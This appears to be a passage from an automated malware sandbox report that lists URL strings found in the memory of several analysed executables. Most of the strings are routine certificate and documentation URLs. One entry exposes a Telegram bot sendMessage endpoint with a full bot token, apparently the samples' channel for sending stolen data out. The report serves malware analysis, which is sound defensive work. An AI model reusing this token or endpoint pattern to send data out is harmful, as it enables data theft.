0000002A.00000003.1770432200.000001E16BC53000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/
Source: trano1221.exe, 0000002A.00000003.1806325089.000001E16B51C000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1816958267.000001E16B6D6000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1807329895.000001E16B5F1000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1891690088.000001E16B6D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/c
Source: trano1221.exe, 0000002A.00000002.1946800540.000001E16BB42000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1776610520.000001E16BB41000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804418435.000001E16BB41000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1895673208.000001E16BB41000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/i%;
Source: powershell.exe, 00000019.00000002.1586419592.0000000004871000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.4028270818.000001D880001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: trano1221.exe, 0000002A.00000002.1970356972.000001E16CDD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: trano1221.exe, 0000002A.00000003.1776610520.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1776610520.000001E16BB41000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1883429141.000001E16BB5C000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1904737697.000001E16BB65000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1807091152.000001E16BB58000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804418435.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1828305886.000001E16BA84000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804418435.000001E16BB41000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.1946084154.000001E16BA86000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1823085657.000001E16BB5C000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1816159571.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.1946800540.000001E16BB66000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1811187330.000001E16BB5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://timelessrepo.com/json-isnt-a-javascript-subset).
Source: trano1221.exe, 0000002A.00000002.1950520854.000001E16C380000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://tools.ietf.org/html/rfc6125#section-6.4.3
Source: m0wsoI3.exe, 00000011.00000002.1518652176.0000000000681000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1530953936.000000000FF93000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1518652176.000000000066A000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1530707992.000000000FE10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: m0wsoI3.exe, 00000011.00000002.1518652176.0000000000681000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1530953936.000000000FF93000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1518652176.000000000066A000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1530707992.000000000FE10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: m0wsoI3.exe, 00000011.00000002.1518652176.0000000000681000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1530953936.000000000FF93000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1518652176.000000000066A000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1530707992.000000000FE10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: trano1221.exe, 0000002A.00000003.1806325089.000001E16B51C000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1839236500.000001E16B56B000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1787595180.000001E16C604000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1882867348.000001E16B56C000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804953038.000001E16C600000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1835417852.000001E16C61E000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1813939975.000001E16B562000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1893387743.000001E16B56C000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1837399560.000001E16C638000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1839847199.000001E16C654000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.1942451950.000001E16B56C000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1838314051.000001E16C64F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0
Source: trano1221.exe, 0000002A.00000003.1787595180.000001E16C604000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804953038.000001E16C600000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1857850675.000001E16C602000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1893642016.000001E16C604000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl
Source: trano1221.exe, 0000002A.00000003.1787595180.000001E16C604000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804953038.000001E16C600000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1835417852.000001E16C61E000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1837399560.000001E16C638000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1839847199.000001E16C654000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1838314051.000001E16C64F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl0
Source: trano1221.exe, 0000002A.00000003.1787595180.000001E16C604000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804953038.000001E16C600000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1857850675.000001E16C602000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1893642016.000001E16C604000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl4
Source: trano1221.exe, 0000002A.00000003.1787595180.000001E16C604000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804953038.000001E16C600000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1835417852.000001E16C61E000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1837399560.000001E16C638000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/legislacion_c.htm
Source: trano1221.exe, 0000002A.00000003.1787595180.000001E16C604000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804953038.000001E16C600000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1835417852.000001E16C61E000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1837399560.000001E16C638000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1839847199.000001E16C654000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1838314051.000001E16C64F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/legislacion_c.htm0U
Source: trano1221.exe, 0000002A.00000003.1787595180.000001E16C604000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804953038.000001E16C600000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1835417852.000001E16C61E000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1837399560.000001E16C638000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/legislacion_c.htmr
Source: trano1221.exe, 0000002A.00000003.1787595180.000001E16C604000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804953038.000001E16C600000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1835417852.000001E16C61E000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1837399560.000001E16C638000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1839847199.000001E16C654000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1838314051.000001E16C64F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es00
Source: trano1221.exe, 00000023.00000003.1609567595.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/
Source: trano1221.exe, 00000023.00000003.1610178975.0000013C2C402000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1609567595.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1609567595.0000013C2C401000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1610647899.0000013C2C402000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 0000001D.00000002.4028270818.000001D88022C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: trano1221.exe, 0000002A.00000002.1949395926.000001E16BD20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.apple.com/DTDs/PropertyList-1.0.dtd
Source: trano1221.exe, 0000002A.00000003.1806325089.000001E16B51C000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1787595180.000001E16C604000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1881513489.000001E16B527000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1851441531.000001E16C636000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804953038.000001E16C600000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1814171740.000001E16B51C000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1835417852.000001E16C61E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cert.fnmt.es/dpcs/
Source: trano1221.exe, 0000002A.00000003.1655158924.000001E16B5D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cl.cam.ac.uk/~mgk25/iso-time.html
Source: rapes.exe, 00000006.00000003.5646796059.0000000000B58000.00000004.00000020.00020000.00000000.sdmp, rapes.exe, 00000006.00000003.5646796059.0000000000B3A000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1584996545.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1609046111.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1587751627.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1583958275.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1607369375.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588013358.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1611379233.0000013C2C3F5000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585628813.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588172070.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585492797.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1607707168.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585342620.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1584677472.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588526671.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1606674528.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1605740646.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1607067585.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1606270626.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585164780.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: trano1221.exe, 0000002A.00000003.1886267544.000001E16BC1F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.1965623740.000001E16C65F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1807134122.000001E16BC19000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1787595180.000001E16C604000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1779310228.000001E16BBEB000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804953038.000001E16C600000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1883113833.000001E16BC1F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1835417852.000001E16C61E000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1880210684.000001E16BC1A000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1837399560.000001E16C638000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1840930520.000001E16C65D000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1857007046.000001E16C65D000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1838314051.000001E16C64F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.firmaprofesional.com/cps0
Source: trano1221.exe, 0000002A.00000003.1886267544.000001E16BC1F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1807134122.000001E16BC19000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.1946483979.000001E16BAEA000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1885930845.000001E16BAE8000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804418435.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1883113833.000001E16BC1F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.1970356972.000001E16CE30000.00000004.00001000.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1806059046.000001E16BAE5000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1880210684.000001E16BC1A000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1883906457.000001E16BAE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/assignments/character-sets
Source: trano1221.exe, 0000002A.00000003.1839066325.000001E16BB73000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1776610520.000001E16BB41000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1806684147.000001E16BB72000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1831815877.000001E16BB73000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804418435.000001E16BB41000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
Source: trano1221.exe, 0000002A.00000003.1655158924.000001E16B5D5000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1667863628.000001E16B58E000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1656139769.000001E16B567000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1658799975.000001E16B53F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/time-zones/repository/tz-link.html
Source: m0wsoI3.exe, 00000011.00000002.1518652176.0000000000681000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1530953936.000000000FF93000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1518652176.000000000066A000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1530707992.000000000FE10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.com0
Source: trano1221.exe, 0000002A.00000003.1655158924.000001E16B5D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm
Source: trano1221.exe, 0000002A.00000003.1787595180.000001E16C604000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804953038.000001E16C600000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1857850675.000001E16C602000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1893642016.000001E16C604000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps
Source: trano1221.exe, 0000002A.00000002.1941933794.000001E16B4E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps0
Source: trano1221.exe, 0000002A.00000003.1806325089.000001E16B51C000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1810044236.000001E16B648000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1807329895.000001E16B5F1000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1888416044.000001E16B6C7000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1815209048.000001E16B6C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wwwsearch.sf.net/):
Source: UD49QH6.exe, 00000010.00000003.1447534913.0000000005C6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: UD49QH6.exe, 00000010.00000003.1447534913.0000000005C6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: UD49QH6.exe, 00000010.00000003.1421639776.0000000005B99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org?q=
Source: powershell.exe, 0000001D.00000002.4028270818.000001D880001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000019.00000002.1586419592.0000000004871000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lBDr
Source: trano1221.exe, 0000002A.00000002.1970356972.000001E16CDD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7591910367:AAEZrF_Cuy7JK2ZDu8tT43dHO_5Hk80CLJ0/sendMessage
Source: trano1221.exe, 0000002A.00000002.1970356972.000001E16CE38000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7591910367:AAEZrF_Cuy7JK2ZDu8tT43dHO_5Hk80CLJ0/sendMessage?chat_id=71057
Source: trano1221.exe, 00000023.00000003.1609766960.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blog.jaraco.com/skeleton
Source: UD49QH6.exe, 00000010.00000003.1450202345.0000000005B74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.
Source: UD49QH6.exe, 00000010.00000003.1462695917.0000000005B73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta
Source: UD49QH6.exe, 00000010.00000003.1421639776.0000000005B99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: UD49QH6.exe, 00000010.00000003.1421639776.0000000005B99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: UD49QH6.exe, 00000010.00000003.1421639776.0000000005B99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: UD49QH6.exe, 00000010.00000003.1450202345.0000000005B74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: UD49QH6.exe, 00000010.00000003.1450202345.0000000005B74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: powershell.exe, 00000019.00000002.1600308325.00000000058D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000019.00000002.1600308325.00000000058D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000019.00000002.1600308325.00000000058D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: trano1221.exe, 00000023.00000003.1603415387.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cryptography.io
Source: trano1221.exe, 00000023.00000003.1603415387.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cryptography.io/
Source: trano1221.exe, 00000023.00000003.1603415387.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cryptography.io/en/latest/changelog/
Source: trano1221.exe, 00000023.00000003.1603415387.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cryptography.io/en/latest/installation/
Source: trano1221.exe, 00000023.00000003.1603415387.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cryptography.io/en/latest/security/
Source: trano1221.exe, 0000002A.00000003.1806325089.000001E16B51C000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1643957026.000001E16B639000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1655158924.000001E16B593000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1655061017.000001E16B639000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1813939975.000001E16B562000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1646562116.000001E16B596000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1658799975.000001E16B59D000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1683030296.000001E16B58E000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1822586944.000001E16B5A9000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1715210481.000001E16B596000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1672685606.000001E16B53F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64
Source: trano1221.exe, 0000002A.00000003.1618691073.000001E16B2B1000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.1933157269.000001E16AE60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ExecutionLoader.get_filename
Source: trano1221.exe, 0000002A.00000003.1618691073.000001E16B2B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_code
Source: trano1221.exe, 0000002A.00000003.1618691073.000001E16B2B1000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.1933157269.000001E16AE60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_source
Source: trano1221.exe, 0000002A.00000003.1618691073.000001E16B2B1000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.1933157269.000001E16AEE8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.is_package
Source: trano1221.exe, 0000002A.00000003.1618691073.000001E16B2B1000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.1933157269.000001E16AEE8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.create_module
Source: trano1221.exe, 0000002A.00000003.1618691073.000001E16B2B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.exec_module
Source: trano1221.exe, 0000002A.00000003.1618691073.000001E16B2B1000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.1933157269.000001E16AE60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.MetaPathFinder.invalidate_caches
Source: trano1221.exe, 0000002A.00000003.1618691073.000001E16B2B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.PathEntryFinder.find_spec
Source: trano1221.exe, 0000002A.00000003.1811281205.000001E169697000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1836271125.000001E16969C000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.1924598134.000001E1696A1000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1888194813.000001E16969C000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1618691073.000001E16B2B1000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1629342002.000001E169689000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1891421330.000001E16969D000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1815054639.000001E16969B000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1627401291.000001E1696A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ResourceLoader.get_data
Source: trano1221.exe, 00000023.00000003.1609766960.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.metadata.html
Source: trano1221.exe, 0000002A.00000003.1880697620.000001E16B9FE000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1857175982.000001E16B9F7000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1816650813.000001E16B9EC000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804418435.000001E16B9B5000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1832695924.000001E16B9ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/multiprocessing.html
Source: trano1221.exe, 00000023.00000003.1609766960.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/reference/import.html#finders-and-loaders
